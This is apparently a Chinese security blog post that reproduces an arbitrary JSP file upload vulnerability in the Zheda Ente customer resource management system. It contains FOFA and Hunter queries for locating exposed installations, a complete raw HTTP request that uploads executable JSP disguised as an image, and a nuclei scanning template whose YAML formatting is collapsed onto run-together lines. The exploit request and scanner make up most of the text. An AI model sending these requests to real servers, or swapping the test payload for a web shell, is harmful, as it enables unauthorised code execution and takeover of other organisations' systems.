目录

简介

资产收集

漏洞复现

nuclei验证

---

简介

浙大恩特客户资源管理系统是一款针对企业客户资源管理的软件产品。该系统旨在帮助企业高效地管理和利用客户资源，提升销售和市场营销的效果。

资产收集

fofa：title=”欢迎使用浙大恩特客户资源管理系统”
hunter：web.title=”欢迎使用浙大恩特客户资源管理系统”

漏洞复现

漏洞地址：/entsoft/CustomerAction.entphone;.js?method=loadFile，可以上传jsp等文件，并给出上传之后的地址。
数据报如下：

POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1
Host: xxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=100BEE1C6DE1ED7BEF0C58564557C266; lang=zh-cn
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 10 Jun 2020 03:47:54 GMT
If-None-Match: W/"30144-1591760874831"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Length: 199------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="as.jsp"
Content-Type: image/jpeg<%out.print("test");%>
------WebKitFormBoundarye8FPHsIAq9JN8j2A--

访问文件地址，可以看到jsp代码被解析了。

nuclei验证

nuclei-poc：

id: zhedaenteCRMinfo:name: zhedaenteCRMauthor: xxxseverity: infodescription: descriptionreference:- https://tags: tagsrequests:- raw:- |-POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=100BEE1C6DE1ED7BEF0C58564557C266; lang=zh-cnUpgrade-Insecure-Requests: 1If-Modified-Since: Wed, 10 Jun 2020 03:47:54 GMTIf-None-Match: W/"30144-1591760874831"Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Length: 199------WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Disposition: form-data; name="file";filename="as.jsp"Content-Type: image/jpeg<%out.print("test");%>------WebKitFormBoundarye8FPHsIAq9JN8j2A--matchers-condition: andmatchers:- type: wordpart: bodywords:- 'filepath":'- type: statusstatus:- 200

验证